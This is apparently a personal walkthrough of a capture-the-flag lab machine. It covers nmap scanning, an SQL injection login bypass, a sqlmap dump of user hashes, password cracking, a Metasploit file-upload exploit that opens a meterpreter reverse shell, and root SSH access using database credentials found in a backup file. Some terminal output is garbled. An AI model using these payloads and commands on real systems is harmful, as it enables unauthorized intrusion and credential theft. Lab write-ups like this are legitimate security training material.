Damn this took a while to set up, but here we are

```
(kali@kali)-[~]
_$ nmap -A 10.10.10.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-14 11:43 WET
Nmap scan report for 10.10.10.100
Host is up (0.00068s latency).
Not shown: 998 closed ports
PORT
      STATE SERVICE VERSION
22/tcp open ssh
                     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
  ssh-hostkey:
    1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
    2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
   256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open http
                     Apache httpd 2.2.17 ((Ubuntu))
 http-cookie-flags:
      PHPSESSID:
        httponly flag not set
 http-server-header: Apache/2.2.17 (Ubuntu)
 http-title: Welcome to this Site!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 7.07 seconds
```

Weird little website we have here. User disclosure yay, admin@isints.com



After going to the login page and trying some quotes as credentials...:

An error occurred in script '/var/www/login.php' on line 47: Query: SELECT * FROM users WHERE email=" OR 1=1 --' AND pass='bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL' at line 1

Date/Time: 3-14-2021 07:50:43

There is also a php information page at http://10.10.10.100/info

The following SQLi payload allows me to login as admin, but it's not of much use. Let's try to dump something admin@isinst.com' OR 1 = 1 ---

I don't know how to use sqlmap against POST requests... So I followed this tutorial https://hackertarget.com/sqlmap-post-request-injection/

This worked

sqlmap -r request.txt -p email --level 5 --risk 3 --dump-all

And request.txt contains a POST request I grabbed with zap:

```
POST http://10.10.10.100/login.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://10.10.10.10.100
Connection: keep-alive
Referer: http://10.10.10.100/login.php
Cookie: PHPSESSID=og1lp9mjtq2j94da75amg6rei5
Upgrade-Insecure-Requests: 1
Host: 10.10.10.100
|
email=&pass=&submit=Login&submitted=TRUE
```

--dump-all was a big mistake, let me change it to just --dump

sqlmap -r request.txt -p email --level 5 --risk 3 --dump

Perfect!

| user_id | pass | email | † |
|---------|--|------------------|---|
| 1 | c2c4b4e51d9e23c02c15702c136c3e950ba9a4af | admin@isints.com | į |

There's also the columns First Name and Last Name → Dan Privett

Hashes.com is my new favorite hash cracking website. Crackstation is really hit or miss, hashes.com usually cracks a lot more stuff



And that's an awesome password

So right now we have admin@isints.com:killerbeesareflying

Let me try to ssh to www-data maybe? Or dan? Admin maybe?..... None worked

I can log in to the first website but it's just plain http again. It's useless. And the credentials (or any similar username) don't work at /blog

After being stuck for a while I ran dirbuster again but on /blog/

Index of /blog/docs

| <u>Name</u> | Last modified | Size Description |
|------------------|------------------|------------------|
| Parent Directory | | <u>=</u> |
| CHANGELOG.TXT | 18-Jan-2005 12:2 | 23 4.1K |
| CREDITS.TXT | 18-Jan-2005 12:3 | 33 1.7K |
| INSTALL.TXT | 20-Sep-2004 09:3 | 32 1.4K |
| README.TXT | 18-Jan-2005 12:2 | 23 875 |
| TODO.TXT | 18-Jan-2005 12:2 | 24 4.6K |
| TRACKBACKS.TXT | 28-Nov-2004 06:2 | 25 877 |
| UPGRADING.TXT | 18-Jan-2005 12:2 | 26 813 |

Apache/2.2.17 (Ubuntu) Server at 10.10.10.100 Port 80

Awesome. I opened every file and searched for interesting stuff

Inside INSTALL.TXT there is this:

```
Trouble Shooting
.....
Simple PHP Blog stores all of your information in three separate folders. These folders are dynamically created:
config/
content/
images/
```

TRACKBACKS.TXT

```
Simple PHP Blog:
```

This is a modified version of the original SPHPBlog found at http://sourceforge.net/projects/sphpblog/

This version is Trackback (http://www.movabletype.org/trackback/beginners/) enabled.

WARNING: Make backup copies first!!
This stuff is not yet very well tested!! It works fine for me, but your mileage may vary.

UPGRADING.TXT talks about an ftp server. Good to know

Let me go ahead and browse config/, content/ and images/

Content and images are basically empty. Config has a password.txt file:

\$1\$weWj5iAZ\$NU4CkeZ9jNtcP/qrPC69a/

\$1 is md5 I think? Or SHA-1 not sure, I always get them confused... But I think MD5

It's MD5. It's weird that the format doesn't match. Not with base 64 either...

Anyway, msfconsole → search SPHPBlog

Awesome

And I got a meterpreter shell! Never got one before but I have learned about this many times, at Cyber Mentor's PEH and Georgia Weidman's course for example

```
Insted exploit(unix/webapp/sphpblog_file_upload) > run

Insted reverse TCP handler on 10.10.10.4:4444
[+] Successfully retrieved hash: $1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/
[+] Successfully removed /config/password.txt
[+] Successfully removed /config/password.txt
[+] Successfully logged in as l2lmlc:egvywr
[+] Successfully logged in as l2lmlc:egvywr
[+] Successfully retrieved cookie: q1is3i7tksao8ou35fq8enjrm2
[+] Successfully uploaded JvRVLtKrzcCdgaHr5J33.php
[+] Successfully uploaded JvRVLtKrzcCdgaHr5J33.php
[+] Successfully reset original password hash.
[+] Successfully removed /images/JvRVLtKrzcCdgaHr5J33.php
[*] Calling payload: /images/zWZkcV6KgK9uBhODNEar.php
[*] Sending stage (39282 bytes) to 10.10.10.100
[*] Meterpreter session 2 opened (10.10.10.4:4444 → 10.10.10.100:55458) at 2021-03-14 14:36:54 +0000
[+] Successfully removed /images/zWZkcV6KgK9uBhODNEar.php

meterpreter > |
```

"Shell" to drop into a system shell, "/bin/bash -i" for interactive shell, "whoami" gets me www-data

Cat /etc/passwd shows a user named "dan"

/var/backups/mysqli connect.php has the following:

```
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
```

mysql -u root -p

Enter password: root@ISIntS

This just leaves the terminal hanging with no output, so I know these are the credentials. Random credentials return an error.

I thought there was something wrong with my VM. I swear I was stuck for ages here, so I looked up a walkthrough.

The solution was to SSH with root:root@ISIntS. I'm so stupid

Here it is

```
(kali@kali)-[w]
     sh root@10.10.10.100
root@10.10.10.100's password:
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)
 * Documentation: http://www.ubuntu.com/server/doc
 System information as of Sun Mar 14 10:32:25 EDT 2021
  System load: 0.0
                                  Processes:
 Usageloofe /:my ls3t.0%leof \38564GB Users logged in:
                                                       0
  Memory: usage:qu13%nsemail me at admin@ IRs address for eth0: 10.10.10.100
  Swap usage: 0%
  ⇒ There are 3 zombie processes.
  Graph this data and manage this system at https://landscape.canonical.com/
Last login: Mon May 9 19:29:03 2011
root@web:~# whoami
root
```

Jesus I am really mad at this box. It is so obvious in hindsight but I kept getting stuck. There's a lesson to take from this: **doesn't matter how stupid or easy a solution sounds**, **just try it**